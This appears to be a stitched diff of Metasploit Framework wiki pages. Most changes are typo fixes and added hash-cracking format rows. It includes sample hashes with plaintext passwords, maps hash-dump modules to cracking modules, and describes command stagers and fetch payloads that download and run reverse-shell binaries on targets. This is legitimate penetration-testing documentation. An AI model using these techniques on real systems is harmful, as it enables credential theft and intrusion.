Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Difficulty: 2/5
@@ -31,7 +31,7 @@ Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
When performing security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
@@ -84,6 +84,16 @@ This section will cover the differences between the two crackers. This is not a
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
| pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 |
| Android (Samsung) SHA1 | | 5800 |
| Android (non-Samsung) SHA1 | | 110 |
| Android MD5 | | 10 |
| xsha | xsha | 122 |
| xsha512 | xsha512 | 1722 |
| PBKDF2-HMAC-SHA512 | PBKDF2-HMAC-SHA512 | 7100 |
| PBKDF2-HMAC-SHA1 | PBKDF2-HMAC-SHA1 | 12001 |
| PHPass | phpass | 400 |
| mediawiki | mediawiki | 3711 |
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
@@ -135,13 +145,15 @@ creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB11
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
creds add user:mscash-test1 hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash
creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2
# sql
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
## oracle (10) uses usernames in the hashing, so we can't override that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
@@ -149,47 +161,73 @@ creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
## postgres uses username, so we can't overide that here
## postgres uses username, so we can't override that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
## other
# mobile
creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
# OSX
creds add user:xsha_hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
creds add user:pbkdf2_hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 jtr:PBKDF2-HMAC-SHA512
creds add user:xsha512_hashcat hash:648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d jtr:xsha512
# webapps
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
# other
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256
```
This data breaks down to the following table:
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ---------------- | ------------------------------------------------ | --------------------------------------------------------- |
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows |
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | |
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | -------------------- | ------------------------------------------------ | --------------------------------------------------------- |
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
| DES | des_password | `rEK1ecacw.7.c` | password | des | post/aix/gather/hashdump | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | post/windows/gather/hashdump | auxiliary/analyze/crack_windows |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | post/linux/gather/hashdump | auxiliary/analyze/crack_windows |
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
| MSCash | mscash-test1 | `M$test1#64cd29e36a8431a2b111378564a10631` | test1 | mscash | | auxiliary/analyze/crack_windows |
| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
| Android (Samsung) SHA1 | samsungsha1 | `D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1` | 1234 | android-samsung-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
| Android (non-Samsung) SHA1 | androidsha1 | `9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5` | 1234 | android-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
| Android MD5 | androidmd5 | `1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5` | 1234 | android-md5 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
| OSX 10.4-10.6 | xsha_hashcat | `1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683` | hashcat | xsha | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
| OSX 10.8+ | pbkdf2_hashcat | `$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$` | hashcat | PBKDF2-HMAC-SHA512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
| OSX 10.7 | xsha512_hashcat | `648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d` | hashcat | xsha512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | |
| MediaWiki | mediawiki_hashcat | `$B$56668501$0ce106caa70af57fd525aeaf80ef2898` | hashcat | mediawiki | | modules/auxiliary/analyze/crack_webapps |
| PHPPass (P type) | phpass_p_hashcat | `$P$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
| PHPPass (H type) | phpass_h_hashcat | `$H$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps |
| Atlassian | atlassian_hashcat | `{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa` | hashcat | PBKDF2-HMAC-SHA1 | | modules/auxiliary/analyze/crack_webapps |
# Adding a New Hash
Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit?
1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add a new identify algorithm to: [framework/hashes.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb)
1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats).
1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb).
@@ -62,9 +62,9 @@ res = @http_client.send_request_cgi({
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
Shown below is the request used to login to a gitlab account in the [artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
```ruby
res = send_request_cgi({
@@ -24,7 +24,7 @@ int main(void) {
require 'metasploit/framework/compiler/windows'
## Save as an exe varibale
## Save as an exe variable
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)
## Save the binary as a file
@@ -119,4 +119,4 @@ int main() {
outfile = "/tmp/helloworld.exe"
weight = 70 # This value is used to determine how random the code gets.
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight)
```
```
@@ -279,7 +279,7 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to write a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
Available flavors:
@@ -31,10 +31,11 @@ Here is the naming convention for fetch payloads:
`<cmd>/<platform>/<fetch protocol>/served_payload`
For example:
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
2) Serve the above served payload on an HTTPS server
3) Start a served payload handler for the served payload to call back to
4) Generate a command to execute on a remote host that will download the served payload and run it.
1. Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
2. Serve the above served payload on an HTTPS server
3. Start a served payload handler for the served payload to call back to
4. Generate a command to execute on a remote host that will download the served payload and run it.
## A Simple Stand-Alone Example
@@ -20,7 +20,7 @@ When the mixin is included, notice there will be the following datastore options
* **SSLVerifyMode** - Verification mode: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER. Default is PEER.
* **Proxies** - Allows your module to support proxies.
* **ConnectTimeout** - Default is 10 seconds.
* **TCP::max_send_size** - Evasive option. Maxiumum TCP segment size.
* **TCP::max_send_size** - Evasive option. Maximum TCP segment size.
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
@@ -126,4 +126,4 @@ def send_recv_once(data)
buf
end
```
```
@@ -84,7 +84,7 @@ module Metasploit
class SymantecWebGateway < HTTP
# Attemps to login to the server.
# Attempts to login to the server.
#
# @param [Metasploit::Framework::Credential] credential The credential information.
# @return [Result] A Result object indicating success or failure
@@ -68,7 +68,7 @@ def on_request_uri(cli, request)
end
```
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provies all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provides all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
To get things started, you can always use the following template to start developing your browser exploit:
@@ -37,6 +37,10 @@ The `CheckCode` also supports an optional description which is printed by the fr
return CheckCode::Appears('Vulnerable component XYZ is installed')
```
`MetasploitModule#check` methods should capture any known `raise` from methods called and return value of class
`Msf::Exploit::CheckCode`. Basically, that means avoiding the use of `fail_with` or raising exceptions that are not
handled within the check method.
## Remote Check Example
Here's an abstract example of how a Metasploit check might be written:
@@ -54,7 +58,7 @@ def check
http_body = get_http_body
if http_body
if http_body =~ /Something CMS v1\.0/
# We are able to find the version thefore more precise about the vuln state
# We are able to find the version therefore more precise about the vuln state
return Exploit::CheckCode::Appears
elsif http_body =~ /Something CMS/
# All we can tell the vulnerable app is running, but no more info to
@@ -0,0 +1,210 @@
If you've found a way to execute a command on a target, and you'd like to make a simple exploit module to get a shell, this guide is for you. Alternatively, if you have access to **fetch** commands on the target (curl, wget, ftp, tftp, tnftp, or certutil), you can use a [[Fetch Payload|How-to-use-fetch-payloads]] for a no-code solution.
